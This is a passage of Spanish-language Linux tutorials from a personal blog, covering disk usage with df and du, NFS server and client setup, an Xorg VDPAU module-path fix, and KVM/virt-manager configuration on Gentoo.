</ul><div id="201104291954" style="display: none;"><pre class="brush: shell">agd-server # df -h
Filesystem Size Used Avail Use% Mounted on
/dev/vda2 5.9G 5.0G 971M 84% /
udev 10M 44K 10M 1% /dev
/dev/vda1 49M 42M 4.5M 91% /boot
shm 1007M 0 1007M 0% /dev/shm
192.168.1.20:/usr/portage 447M 277M 145M 66% /usr/portage
192.168.1.20:/usr/portage/distfiles 8.2G 2.6G 5.2G 34% /usr/portage/distfiles
192.168.1.20:/media/net-rw/donkey/incoming 459G 152G 284G 35% /media/p2p/mldonkey
192.168.1.20:/media/net-rw/donkey/temp 459G 152G 284G 35% /home/p2p/mldonkey/temp
192.168.1.20:/tmp 16G 44M 15G 1% /tmp</pre></div><ul><li><i style="font-weight: bold;">-i</i>, <i style="font-weight: bold;">--inodes</i> Le permite obtener un informe sobre los nodos índices (inodos). <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201104292003","slide"); return false">[+/-] Ver ejemplo</a></li>
</ul><div id="201104292003" style="display: none;"><pre class="brush: shell">agd-server # df -i
Filesystem Inodes IUsed IFree IUse% Mounted on
/dev/vda2 390144 271457 118687 70% /
udev 257634 466 257168 1% /dev
/dev/vda1 12824 52 12772 1% /boot
shm 257634 1 257633 1% /dev/shm
192.168.1.20:/usr/portage 522752 140340 382412 27% /usr/portage
192.168.1.20:/usr/portage/distfiles 541360 771 540589 1% /usr/portage/distfiles
192.168.1.20:/media/net-rw/donkey/incoming 30531584 195 30531389 1% /media/p2p/mldonkey
192.168.1.20:/media/net-rw/donkey/temp 30531584 195 30531389 1% /home/p2p/mldonkey/temp
192.168.1.20:/tmp 1040384 97 1040287 1% /tmp</pre></div><ul><li><i style="font-weight: bold;">-l</i>, <i style="font-weight: bold;">--local</i> Se omiten los sistemas de archivos en red. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201104292009","slide"); return false">[+/-] Ver ejemplo</a> (en el ejemplo se usa también -h)</li>
</ul><div id="201104292009" style="display: none;"><pre class="brush: shell">agd-server # df -lh
Filesystem Size Used Avail Use% Mounted on
/dev/vda2 5.9G 5.0G 971M 84% /
udev 10M 44K 10M 1% /dev
/dev/vda1 49M 42M 4.5M 91% /boot
shm 1007M 0 1007M 0% /dev/shm</pre></div><ul><li><i style="font-weight: bold;">-T</i>, <i style="font-weight: bold;">--print-type</i> Indica el tipo de sistema de archivos. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201104292019","slide"); return false">[+/-] Ver ejemplo</a> (en el ejemplo se usa también -h)</li>
</ul><div id="201104292019" style="display: none;"><pre class="brush: shell">agd-server # df -hT
Filesystem Type Size Used Avail Use% Mounted on
/dev/vda2 ext4 5.9G 5.0G 971M 84% /
udev tmpfs 10M 44K 10M 1% /dev
/dev/vda1 ext2 49M 42M 4.5M 91% /boot
shm tmpfs 1007M 0 1007M 0% /dev/shm
192.168.1.20:/usr/portage nfs 447M 277M 145M 66% /usr/portage
192.168.1.20:/usr/portage/distfiles nfs 8.2G 2.6G 5.2G 34% /usr/portage/distfiles
192.168.1.20:/media/net-rw/donkey/incoming nfs 459G 152G 284G 35% /media/p2p/mldonkey
192.168.1.20:/media/net-rw/donkey/temp nfs 459G 152G 284G 35% /home/p2p/mldonkey/temp
192.168.1.20:/tmp nfs 16G 44M 15G 1% /tmp</pre></div><br />
Puede consultar la lista completa de opciones con el comando <span class="Apple-style-span" style="color: blue;">man df</span>. Además puede indicarle un archivo o directorio a df, de tal forma que la salida del informe de df se restringirá al sistema de archivos donde se encuentra el archivo o directorio especificado. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201104292030","slide"); return false">[+/-] Ver ejemplo</a> (en el ejemplo se usa también -h)<br />
<div id="201104292030" style="display: none;"><pre class="brush: shell">agd-server ~ # df -h /usr/portage/distfiles/
<li>Filesystem Size Used Avail Use% Mounted on<br />
<li>192.168.1.20:/usr/portage/distfiles 8.2G 2.6G 5.2G 34% /usr/portage/distfiles</pre></div><br />
<br />
<b>Monitorizar el uso del disco por directorios</b><br />
El comando df le permite localizar las particiones que están en peligro de desbordarse, pero una vez obtenida esta información deberá refinar la búsqueda para localizar los directorios y archivos que están acaparando el espacio en disco. Para ello deberá hacer uso del comando du, el cual informa de cuanto espacio consumen los directorios que penden del directorio indicado. La sintaxis es <span class="Apple-style-span" style="color: blue;">du <i>opciones</i> <i>directorio</i></span>. La búsqueda de du es recursiva, es decir, informa no solo del directorio indicado sino también de todos los subdirectorios. Una consecuencia de esta búsqueda recursiva es que el informe generado por du es enorme. Algunas de las opciones de du le permitirán reducir el volumen de la salida. Algunas de las opciones más comunes son:<br />
<br />
<ul><li><i style="font-weight: bold;">-a</i>, <i style="font-weight: bold;">--all</i> Por defecto el comando du informa sobre el espacio consumido por los directorios pero no por los archivos. Esta opción hará que du también incluya los archivos individuales.</li>
</ul><ul><li><i style="font-weight: bold;">-h</i>, <i style="font-weight: bold;">--human-readable</i> Cambia la escala a un formato legible, así por ejemplo en lugar de indicar que un directorio tiene 7995144 bloques le informará que tiene 7,7 GB. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105020032","slide"); return false">[+/-] Ver ejemplo</a></li>
</ul><div id="201105020032" style="display: none;"><pre class="brush: shell">agd-server # du -h /media/p2p/mldonkey/
7.7G /media/p2p/mldonkey/AD
5.6G /media/p2p/mldonkey/CV/T1
4.5G /media/p2p/mldonkey/CV/T2
10G /media/p2p/mldonkey/CV
2.3G /media/p2p/mldonkey/EuS
244M /media/p2p/mldonkey/Mca
104G /media/p2p/mldonkey/</pre></div><ul><li><i style="font-weight: bold;">-c</i>, <i style="font-weight: bold;">--total</i> Añade una suma total a la salida. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105020039","slide"); return false">[+/-] Ver ejemplo</a> (En el ejemplo se usa también la opción -h)</li>
</ul><div id="201105020039" style="display: none;"><pre class="brush: shell">agd-server # du -ch /media/p2p/mldonkey/
7.7G /media/p2p/mldonkey/AD
5.6G /media/p2p/mldonkey/CV/T1
4.5G /media/p2p/mldonkey/CV/T2
10G /media/p2p/mldonkey/CV
2.3G /media/p2p/mldonkey/EuS
244M /media/p2p/mldonkey/Mca
104G /media/p2p/mldonkey/
104G total</pre></div><ul><li><i style="font-weight: bold;">--max-depth=n</i> Limita el informe a la cantidad de niveles indicados. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105021242","slide"); return false">[+/-] Ver ejemplo</a> (En el ejemplo se usa también la opción -h)</li>
</ul><div id="201105021242" style="display: none;"><pre class="brush: shell">agd-server # du -h --max-depth=1 /
5.2G /usr
8.3M /bin
186M /var
12K /mnt
88K /tmp
4.0K /opt
520K /root
5.2M /sbin
107G /media
0 /proc
44M /lib64
16K /lost+found
44K /dev
>5.1M /lib32
0 /sys
61G /home
41M /boot
2.9M /etc
173G /</pre></div><ul><li><i style="font-weight: bold;">-s</i>, <i style="font-weight: bold;">--summarize</i> Limita el informe de salida a una línea por cada subdirectorio del árbol. Tiene el mismo efecto de <i style="font-weight: bold;">--max-depth=0</i>. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105021300","slide"); return false">[+/-] Ver ejemplo</a> (En el ejemplo se usa también la opción -h)</li>
</ul><div id="201105021300" style="display: none;"><pre class="brush: shell">agd-server # du -hs /
173G /</pre></div><ul><li><i style="font-weight: bold;">-x</i>, <i style="font-weight: bold;">--one-filesystem</i> En caso de que exista otro sistema de ficheros montado en el árbol del directorio indicado, su contenido no se incluirá en el informe. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105021302","slide"); return false">[+/-] Ver ejemplo</a> (En el ejemplo se usa también la opción -h y --max-depth=1)</li>
</ul><div id="201105021302" style="display: none;"><pre class="brush: shell">agd-server # du -hx --max-depth=1 /
2.4G /usr
8.3M /bin
186M /var
12K /mnt
4.0K /tmp
4.0K /opt
520K /root
5.2M /sbin
24K /media
0 /proc
44M /lib64
16K /lost+found
0 /dev
5.1M /lib32
0 /sys
1.4G /home
1.0K /boot
2.9M /etc
3.9G /</pre></div>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com2tag:blogger.com,1999:blog-507892079964167031.post-60325509273378089292011-04-27T12:18:00.061+02:002011-06-27T21:13:44.218+02:00NFS: Sistemas de Archivos en RedEl sistemas de archivos en red (NFS - Network File System) le permite montar un directorio de un host remoto en su árbol de directorios local como si de un dispositivo físico se tratase; lo cual le permitirá acceder a archivos y directorios remotos como si estuviera accediendo a ficheros locales, compartir directorios comunes en sistemas similares o incluso crear <a href="http://es.wikipedia.org/wiki/Arranque_remoto_sin_disco_en_Linux">terminales diskless</a>. En este tutorial se le guiará en la configuración de una red NFS.<br />
<a name='more'></a><br />
<b>Preparar el kernel</b><br />
Para poder usar NFS, ya sea como cliente o servidor, precisará activar soporte para NFS en el kernel. Si no está seguro si tiene activado soporte para NFS en su kernel, puede verificarlo consultando <span class="Apple-style-span" style="color: #666666;">/proc/filesystems</span><br />
<pre class="brush: shell">agd-desktop # cat /proc/filesystems | grep -i nfs
nodev nfs
nodev nfsd</pre><br />
En este caso, como podrá observar, está compilado el soporte para NFS en modo servidor (<span class="Apple-style-span" style="color: #666666;">nfsd</span>) y cliente (<span class="Apple-style-span" style="color: #666666;">nfs</span>). Tenga en cuenta de que si usted ha compilado el soporte para nfs como módulo, en <span class="Apple-style-span" style="color: #666666;">/proc/filesystems</span> no habrá referencias a él hasta que lo cargue. Si usted tiene duda, siempre puede consultar los módulos disponibles usando <span class="Apple-style-span" style="color: blue;">lsmod</span>; y si la salida es larga filtre el contenido con <span class="Apple-style-span" style="color: blue;">lsmod | grep -i nfs</span>.<br />
<br />
Si precisa activar el soporte para NFS, podrá hacerlo en:<br />
<fieldset class="fieldset-border"><legend class="fieldset-legend"> .config - Linux Kernel v2.6.36-gentoo-r8 Configuration</legend>File systems<br />
[*] Network File Systems<br />
<*> NFS client support<br />
[*] NFS client support for NFS version 3<br />
[*] NFS client support for the NFSv3 ACL protocol extension<br />
[ ] NFS client support for NFS version 4<br />
<*> NFS server support<br />
[*] NFS server support for NFS version 3<br />
[*] NFS server support for the NFSv3 ACL protocol extension<br />
[ ] NFS server support for NFS version 4 (EXPERIMENTAL)</fieldset><br />
<br />
<b>Configurar el servidor NFS</b><br />
Por defecto no se comparte ningún directorio por NFS, y es usted quien deberá indicar que directorios desea <i>exportar</i> a otras máquinas. El archivo de configuración del servidor de NFS (<span class="Apple-style-span" style="color: #666666;">/etc/exports</span>) se estructura en líneas, donde cada una define el directorio a exportar seguido del ordenador <i>-u ordenadores-</i> que tiene acceso al recursos compartido y entre paréntesis las opciones de exportación separadas por comas. A continuación podrá ver un ejemplo de un archivo de configuración de NFS:<br />
<pre class="brush: shell">agd-desktop # nano /etc/exports
# /etc/exports: NFS file systems being exported. See exports(5).
/usr/portage 192.168.1.120(sync,ro,no_subtree_check)
/usr/portage/distfiles 192.168.1.120(sync,rw,subtree_check,no_root_squash)
/tmp 192.168.1.120(sync,rw,subtree_check,no_root_squash)
/media/net-rw/donkey/incoming 192.168.1.120(sync,rw,subtree_check,all_squash,anonuid=1003,anongid=100) 192.168.1.0/24(sync,ro,all_squash,subtree_check)
/media/net-rw/donkey/temp 192.168.1.120(sync,rw,subtree_check,all_squash,anonuid=1003,anongid=100)</pre><br />
Las opciones más comunes son:<br />
<ul><li><i><b>ro</b> </i>El directorio será exportado en modo solo lectura.</li>
<li><b><i>rw</i> </b>El directorio será exportado en modo solo lectura-escritura.</li>
<li><i><b>root_squash </b></i>Mapea las peticiones con uid 0 (usuario root) a uid 65534 (normalmente asociado al usuario nobody).</li>
<li><i><b>no_root_squash</b> </i>Permite el acceso como usuario root, desde el cliente, al directorio exportado.</li>
<li><i><b>all_squash </b></i>Mapea todas las uid y gid a la cuenta anónima.</li>
<li><i><b>anonuid</b></i> y <i><b>anongid</b> </i>Permite especificar el uid y el gid de la cuenta anónima.</li>
<li><i><b>subtree_check</b> </i>Verifica que el archivo solicitado por el cliente se encuentra dentro del árbol del directorio exportado. Supone un aumento de la seguridad cuando está exportando un subdirectorio de un sistema de ficheros.</li>
<li><i><b>no_subtree_check</b> </i>Desactiva la verificación. Supone un aumento de velocidad en las transferencias. Es común utilizarlo cuando exporta un sistema de ficheros al completo.</li>
<li><i><b>sync</b> </i>Responde a las peticiones de escritura del cliente después de que estás sean trasladadas al disco. Previene perdidas y corrupciones de datos al ser apagado el equipo.</li>
<li><i><b>async</b> </i>Responde a las peticiones de escritura del cliente antes de que estás sean trasladadas al disco. Si ocurre un apagado repentino, supondrá la pérdida y/o corrupción de datos.</li>
<li><i><b>link_relative</b> </i>Convierte los <a href="http://es.wikipedia.org/wiki/Enlace_simb%C3%B3lico">enlaces simbólicos</a> a <a href="http://es.wikipedia.org/wiki/Enlace_duro">enlaces relativos</a>.</li>
<li><i><b>link_absolut</b>e </i>No convierte<i> </i>los enlaces simbólicos a enlaces relativos.</li>
</ul><br />
<blockquote class="pullquote">Si cambia la configuración de <span class="Apple-style-span" style="color: #666666;">/etc/exports</span>, recuerde recargar los nuevos valores con <span class="Apple-style-span" style="color: blue;">exportfs -ra</span></blockquote>Si usted quiere consultar la lista de host que están accediendo a sus recursos compartidos a través de NFS, puede hacerlo usando el comando <span class="Apple-style-span" style="color: blue;">showmount</span>. Además con las opciones <i>-a</i>, <i>-d </i>y <i>-e</i> podrá ampliar la información mostrando host:recurso compartido, recurso compartido y la lista de directorios a exportar respectivamente. La opción que normalmente se usa, por ser la más completa es <span class="Apple-style-span" style="color: blue;">showmount -a</span>.<br />
<pre class="brush: shell">agd-desktop # showmount -a
All mount points on agd-desktop:
192.168.1.120:/home/p2p/mldonkey/incoming
192.168.1.120:/home/p2p/mldonkey/temp
192.168.1.120:/media/net-rw/donkey/incoming
192.168.1.120:/media/net-rw/donkey/temp
192.168.1.120:/tmp
192.168.1.120:/usr/portage
192.168.1.120:/usr/portage/distfiles
192.168.1.121:/media/net-rw/donkey/incoming
192.168.1.136:/tmp</pre><br />
<br />
<b>Configurar el cliente NFS</b><br />
Recuerde que los clientes, al igual que el servidor, deben tener soporte para NFS en el kernel ya sea compilado estáticamente o como módulo. Para acceder a un directorio exportado por un servidor NFS, deberá montarlo dentro de su árbol de directorios, a través del comando mount <span class="Apple-style-span" style="color: blue;">(mount -t nfs servidor-nfs:ruta directorio-donde-montar opciones</span>) o bien añadiendo una entrada a su <span class="Apple-style-span" style="color: #666666;">/etc/fstab</span> para que se automonte en el inicio del sistema<br />
<pre class="brush: shell">agd-server # mount -vt nfs 192.168.1.20:/media/net-rw/donkey/incoming /media/donkey/
mount.nfs: timeout set for Tue Apr 26 09:17:09 2011
mount.nfs: trying text-based options 'vers=4,addr=192.168.1.20,clientaddr=192.168.1.120'
mount.nfs: mount(2): Protocol not supported
mount.nfs: trying text-based options 'addr=192.168.1.20'
mount.nfs: prog 100003, trying vers=3, prot=6
mount.nfs: trying 192.168.1.20 prog 100003 vers 3 prot TCP port 2049
mount.nfs: prog 100005, trying vers=3, prot=17
mount.nfs: trying 192.168.1.20 prog 100005 vers 3 prot UDP port 47384
192.168.1.20:/media/net-rw/donkey/incoming on /media/donkey type nfs (rw)</pre><br />
La lista de opciones que pueden ser pasadas a mount las puede leer en la página man de mount, aunque las más interesantes son:<br />
<ul><li><i><b>timeo=n</b> </i>Establece el tiempo, expresado en décimas de segundos, que esperará el cliente de NFS al servidor de NFS.</li>
<li><i><b>hard </b></i>Marca el volumen para ser montado físicamente. Cuando expira el tiempo de operación, muestra un error por consola y continua indefinidamente.</li>
<li><i><b>soft</b> </i>Marca el volumen para ser montado lógicamente. Cuando expira el tiempo de operación, se produce un error de E/S y el proceso que intentaba acceder al disco es informado. </li>
<li><i><b>initr</b> </i>Permite enviar una señal para interrumpir una llamada NFS. Con esta opción podrá abortar la operación cuando el servidor no responde.</li>
</ul>En la práctica deberá usar las opciones <i>hard </i>o <i>soft </i>en función del tipo de información que este compartiendo. Si está creando un terminal tonto, le interesará usar la opción <i>hard</i> para evitar que ante un eventual colapso de la red los terminales dejen de funcionar. Usar la opción <i>initr</i> es importante cuando trabaja con un montaje de tipo <i>hard</i>, ya que en caso de que el servidor se vuelva inaccesible le permitirá abortar el acceso a NFS y retomar el control.<br />
<br />
Si desea que su sistema monte automáticamente, en cada inicio del sistema, los directorios exportados por un servidor NFS, deberá añadir una entrada al fichero <span class="Apple-style-span" style="color: #666666;">/etc/fstab</span>. Su <span class="Apple-style-span" style="color: #666666;">/etc/fstab</span> deberá quedar similar a:<br />
<pre class="brush: shell">agd-server # nano /etc/fstab
# /etc/fstab: static file system information.
/dev/vda1 /boot ext2 defaults,noatime 1 2
/dev/vda2 / ext4 defaults 0 1
/dev/vdb1 none swap sw 0 0
192.168.1.20:/usr/portage /usr/portage nfs defaults 0 0
192.168.1.20:/usr/portage/distfiles /usr/portage/distfiles nfs defaults 0 0
192.168.1.20:/media/net-rw/donkey/incoming /media/p2p/mldonkey nfs defaults 0 0
192.168.1.20:/media/net-rw/donkey/temp /home/p2p/mldonkey/temp nfs defaults 0 0
192.168.1.20:/tmp /tmp nfs defaults 0 0</pre>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com2tag:blogger.com,1999:blog-507892079964167031.post-65508057561124010972011-04-19T12:41:00.007+02:002011-06-27T21:14:08.524+02:00Problemas con VDPAUSi tiene una gráfica NVIDIA Geforce 8800, o superior, puede activar el soporte <a href="http://es.wikipedia.org/wiki/VDPAU">VDPAU</a> (Video Decode and Presentation API for Unix). VDPAU ofrece decodificación, post-procesado, composición y visualización de videos comprimidos a través de la GPU, liberando de trabajo a la CPU. Si usa el driver privativo de NVIDIA con una versión anterior a <a href="http://www.nvidia.com/object/linux-display-ia32-260.19.21-driver.html">260.19.21</a>, es posible que tenga problemas al finalizar la reproducción de un vídeo usando VDPAU. En este tutorial veremos como solucionar este problema.<br />
<a name='more'></a><br />
Si solo está interesado en solucionar su problema, <a href="#" onclick="Effect.toggle("2011033000261","slide"); return false">pulse aquí [+/-]</a> para contraer todas las explicaciones y así llegar directamente a la solución. En caso contrario siga leyendo para obtener información al respecto y finalmente la solución.<br />
<div id="2011033000261" style="display: yes;">Si revisa el log de Xorg, independientemente de la versión del driver de NVIDIA que este usando, observará el siguiente error:<br />
<pre class="brush: shell">agd-desktop # nano /var/log/Xorg.0.log[ 16.375] (II) Loading sub module "dri2"
[ 16.375] (II) LoadModule: "dri2"
[ 16.375] (WW) Warning, couldn't open module dri2
[ 16.375] (II) UnloadModule: "dri2"
[ 16.375] (EE) NVIDIA: Failed to load module "dri2" (module does not exist, 0)
[ 16.375] (II) NVIDIA(0): The X server will not be able to send the VDPAU driver name to
[ 16.375] (II) NVIDIA(0): libvdpau.</pre><br />
Tal y como indica el log, no es posible cargar el módulo dri2 lo que provoca un problema con el driver VDPAU. Pero, ¿que es <a href="http://es.wikipedia.org/wiki/Direct_Rendering_Infrastructure">dri</a>?<br />
<br />
Direct Rendering Infraestructure (dri) es una interfaz que permite a las aplicaciones acceder al hardware de vídeo sin pasar por el sistema de ventanas X (X Window System), es decir, permite usar las capacidades de aceleración por hardware de la tarjetas de vídeo actuales. <br />
<br />
A partir del 2007 se comenzó a desarrollar una versión mejorada denominada <a href="http://www.x.org/releases/X11R7.6/doc/dri2proto/dri2proto.txt">dri2</a>. Esta nueva versión destaca por combinar dri con AIGLX (Accelerated Indirect GLX), el cual permite un renderizado completamente por hardware. <br />
<br />
¿Qué relación existe entre dri2 y VDPAU? VDPAU es una API y biblioteca de código abierto (<a href="http://lists.freedesktop.org/archives/xorg-announce/2009-September/001036.html">libvdpau</a>) que se encuentra en los drivers privativos de NVIDIA e implementada en el propio Xorg como una <a href="http://lists.x.org/archives/xorg-devel/2009-October/003056.html">extensión del submódulo dri2</a>. <br />
<br />
De acuerdo al programador principal de libvdpau, <a href="http://www.nvnews.net/vbulletin/showpost.php?p=2240787&postcount=6">AaronP</a>, un error al cargar libvdpau no debería afectar en nada (incluida la decodificación vía VDPAU) ya que el valor predeterminado de los drivers privativos de NVIDIA es 'nvidia' en caso de no poder contactar con el submódulo dri2. Sin embargo parece que esto no es del todo correcto, puesto que al menos con mplayer al finalizar la reproducción (y solo al decodificar vía VDPAU), este da el error anteriormente comentado.</div><br />
Para solucionar este pequeño problema tan solo debe indicarle al servidor Xorg donde se encuentran los módulos cargables. Para ello deberá editar su <span class="Apple-style-span" style="color: #666666;">/etc/X11/xorg.conf</span> y añadir a S<span class="Apple-style-span" style="color: #666666;">ection "Files"</span> lo siguiente:<span class="Apple-style-span" style="color: #666666;"> ModulePath "/usr/lib64/xorg/modules"</span> y <span class="Apple-style-span" style="color: #666666;">ModulePath "/usr/lib64/opengl/xorg-x11/extensions/"</span>, es decir, deberá tener una sección similar a:<br />
<pre class="brush: shell">agd-desktop # nano /tc/X11/xorg.confSection "Files"
ModulePath "/usr/lib64/xorg/modules"
ModulePath "/usr/lib64/opengl/xorg-x11/extensions/"
EndSection</pre>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com0tag:blogger.com,1999:blog-507892079964167031.post-88762740672727972192011-04-13T12:15:00.015+02:002011-07-07T20:46:13.298+02:00Virtualizar con la Máquina Virtual del Kernel (KVM)La virtualización es una tecnología que permite crear una plataforma aislada donde poder correr una maquina virtual (guest o invitado). Existen muchas soluciones para proveer una plataforma de virtualización. Esta guía se centra en activar la Máquina Virtual del Kernel (KVM) y configurar, crear y administrar máquinas virtuales a través del Administrador de Máquinas Virtuales de Red Hat (virt-manager).<a name='more'></a><br />
<fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos</legend><ul><li><a href="#1">Configurar el kernel</a>.</li>
<li><a href="#2">Instalar QEMU</a>.</li>
<li><a href="#3">Configurar los permisos de acceso a KVM</a>.</li>
<li><a href="#4">Administrador de Máquinas Virtuales</a>.</li>
<li><a href="#5">Configurar los permisos de acceso a virt-manager</a>.</li>
<li><a href="#6">Configurar un puente ethernet</a>.</li>
<li><a href="#7">Crear una máquina virtual mediante el Administrador de Máquinas Virtuales virt-manager</a>.</li>
<li><a href="#8">Gestionar las máquinas virtuales mediante el Administrador de Máquinas Virtuales virt-manager</a>.</li>
<li><a href="#9">Ampliando las posibilidades de nuestras máquinas virtuales QEMU</a>.</li>
<ul><li class="li2snd"><a href="#9-1">Activar el sonido en las máquinas virtuales</a>.</li>
<li class="li2snd"><a href="#9-2">Mejorar el rendimiento gráfico</a>.</li>
<li class="li2snd"><a href="#9-3">Activar aceleración 2D/3D</a>.</li>
</ul></ul></fieldset><br />
<a name="1"><b>Configurar el kernel</b></a><br />
Deberá de compilar su kernel para activar el soporte de la máquina virtual. Además deberá activar el soporte para crear puentes ethernet (ethernet bridging), lo cual transformará su sistema GNU/Linux en un switch; permitiendo crear tarjetas de red virtuales para las máquinas virtuales.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgexBRJ8v1lwdPZ2mgks4sFpZ3nAuEa8TUmBGYMIM8NxLW8bsW-LHG8pAKpOfmQOVNKWpqp-L2rAK82ZX53HTrq7AttMlydCK04_AnqUUovWT11RIV2Y5mozsLWdx7vus5wr46TS_ATq8k/s1600/Virtualization.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="412" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgexBRJ8v1lwdPZ2mgks4sFpZ3nAuEa8TUmBGYMIM8NxLW8bsW-LHG8pAKpOfmQOVNKWpqp-L2rAK82ZX53HTrq7AttMlydCK04_AnqUUovWT11RIV2Y5mozsLWdx7vus5wr46TS_ATq8k/s640/Virtualization.png" width="640" /></a></div>Para activar la maquina virtual del kernel, compile las siguientes opciones en el kernel.<br />
<fieldset class="fieldset-border"><legend class="fieldset-legend">root@agd-desktop:~</legend>[*] Virtualization ---><br />
--- Virtualization<br />
<*> Kernel-based Virtual Machine (KVM) support<br />
<*> KVM for Intel processors support<br />
< > KVM for AMD processors support<br />
<*> Host kernel accelerator for virtio net (EXPERIMENTAL)<br />
<*> PCI driver for virtio devices (EXPERIMENTAL)<br />
<*> Virtio balloon driver (EXPERIMENTAL)</fieldset><br />
Para poder activar funciones avanzadas de redireccionamiento IP, deberá compilar.<br />
<fieldset class="fieldset-border"><legend class="fieldset-legend">root@agd-desktop:~</legend>Device Drivers ---><br />
[*] Network device support ---><br />
<M> Universal TUN/TAP device driver support<br />
<br />
Networking support ---><br />
Networking options ---><br />
<*> 802.1d Ethernet Bridging<br />
<*> 802.1Q VLAN Support</fieldset><br />
Una vez tenga configurado el kernel, tan solo deberá compilarlo, copiar el nuevo kernel a /boot y añadirlo a grub.<br />
<br />
<br />
<a name="2"><b>Instalar QEMU</b></a><br />
KVM utiliza una versión modificada de QEMU, un emulador de procesadores con capacidad de virtualización. Deberá de descargar e instalar qemu-kvm, con casi total certeza estará disponible en los repositorios de su distribución ya sea como qemu-kvm o qemu-system-x86_64.<br />
<br />
Si usted es usuario de gentoo deberá activar la USE flag <span class="Apple-style-span" style="color: red;">vde</span> para tener acceso a la tarjeta de red. Si además quiere tener acceso a la tarjeta de sonido, deberá añadir la USE flag <span class="Apple-style-span" style="color: red;">alsa</span>.<br />
<pre class="brush: shell">echo "app-emulation/qemu-kvm alsa vde" >> /etc/portage/package.use
emerge -av qemu-kvm</pre><br />
<br />
<a name="3"><b>Configurar los permisos de acceso a KVM</b></a><br />
Por defecto solo root podrá trabajar con la máquina virtual del kernel. Si desea poder usar KVM sin necesidad de logearse como root, deberá añadir su usuario, o los que desee, al grupo kvm.<br />
<pre class="brush: shell">agd-desktop # gpasswd -a agd kvm
Añadiendo al usuario agd al grupo kvm</pre><br />
<br />
<a name="4"><b>Administrador de Máquinas Virtuales</b></a><br />
Para facilitar la creación y gestión de máquinas virtuales puede hacer uso del <a href="http://virt-manager.et.redhat.com/">Administrador de Máquinas Virtuales</a> de Red Hat (virt-manager). Las dependencias de virt-manager son:<br />
<ul><li><a href="http://www.python.org/">Python</a> - Necesario por el propio virt-manager</li>
<li><a href="http://www.gtk.org/">GTK+</a> y <a href="http://www.pygtk.org/">PyGTK</a> - Para construir la GUI</li>
<li><a href="http://www.libvirt.org/">libvirt</a> - APIs de virtualización</li>
</ul>Probablemente virt-manager se encuentre en los repositorios de su distribución y su gestor de paquetes resolverá todas las dependencias automáticamente. Sin embargo si usted usa gentoo, en la rama estable, es probable que precise activar la rama inestable para algunos paquetes; lo cual lo podrá hacer con <span class="Apple-style-span" style="color: blue;">echo "categoría/paquete ~arquitectura" >> /etc/portage/package.keywords</span>, como por ejemplo, <span class="Apple-style-span" style="color: blue;">echo "app-emulation/virt-manager ~amd64" >> /etc/portage/package.keywords</span>.<br />
<br />
<a name="5"><b>Configurar los permisos de acceso a virt-manager</b></a><br />
Si su sistema hace uso de <a href="http://www.freedesktop.org/wiki/Software/PolicyKit">policykit</a>, y compiló virt-manager con soporte para policykit, deberá permitir el acceso a la API libvirt a los usuarios no root que operen con virt-manager. Puede hacerlo con <span class="Apple-style-span" style="color: blue;">polkit-auth --grant org.libvirt.unix.manage --user "nombre-usuario"</span>.<br />
<pre class="brush: shell">agd-desktop # polkit-auth --grant org.libvirt.unix.manage --user "agd"
agd-desktop # polkit-auth --grant org.libvirt.unix.manage --user "agd"
polkit-auth: AuthorizationAlreadyExists: An authorization for uid 1000 for the action org.libvirt.unix.manage with constraint '' already exists</pre><br />
Además precisará llevar a cabo los siguientes cambios en el fichero de configuración de libvirt (<span class="Apple-style-span" style="color: blue;">/etc/libvirt/libvirt.conf</span>). Nota: Los cambios a partir de la línea 240 no son estrictamente necesarios.<br />
<table><tbody>
<tr> <td style="text-align: center;">Línea</td> <td style="text-align: center;">Antes</td> <td style="text-align: center;">Cambiar a</td> <td style="text-align: center;">Después</td> </tr>
<tr> <td style="text-align: center;">33</td> <td>#listen_tcp = 1</td> <td> ---> </td> <td>listen_tcp = 1</td> </tr>
<tr> <td style="text-align: center;">45</td> <td>#tcp_port = "16509"</td> <td> ---> </td> <td>tcp_port = "16509"</td> </tr>
<tr> <td style="text-align: center;">51</td> <td>#listen_addr = "127.0.0.1"</td> <td> ---> </td> <td>listen_addr = "127.0.0.1"</td> </tr>
<tr> <td style="text-align: center;">81</td> <td>#unix_sock_group = "libvirt"</td> <td> ---> </td> <td>unix_sock_group = "kvm"</td> </tr>
<tr> <td style="text-align: center;">88</td> <td>#unix_sock_ro_perms = "0777"</td> <td> ---> </td> <td>unix_sock_ro_perms = "0777"</td> </tr>
<tr> <td style="text-align: center;">98</td> <td>#unix_sock_rw_perms = "0770"</td> <td> ---> </td> <td>unix_sock_rw_perms = "0770"</td> </tr>
<tr> <td style="text-align: center;">129</td> <td>#auth_unix_ro = "none"</td> <td> ---> </td> <td>auth_unix_ro = "none"</td> </tr>
<tr> <td style="text-align: center;">138</td> <td>#auth_unix_rw = "none"</td> <td> ---> </td> <td>auth_unix_rw = "none"</td> </tr>
<tr> <td style="text-align: center;">146</td> <td>#auth_tcp = "sasl"</td> <td> ---> </td> <td>auth_tcp = "none"</td> </tr>
<tr> <td style="text-align: center;">155</td> <td>#auth_tls = "none"</td> <td> ---> </td> <td>auth_tls = "none"</td> </tr>
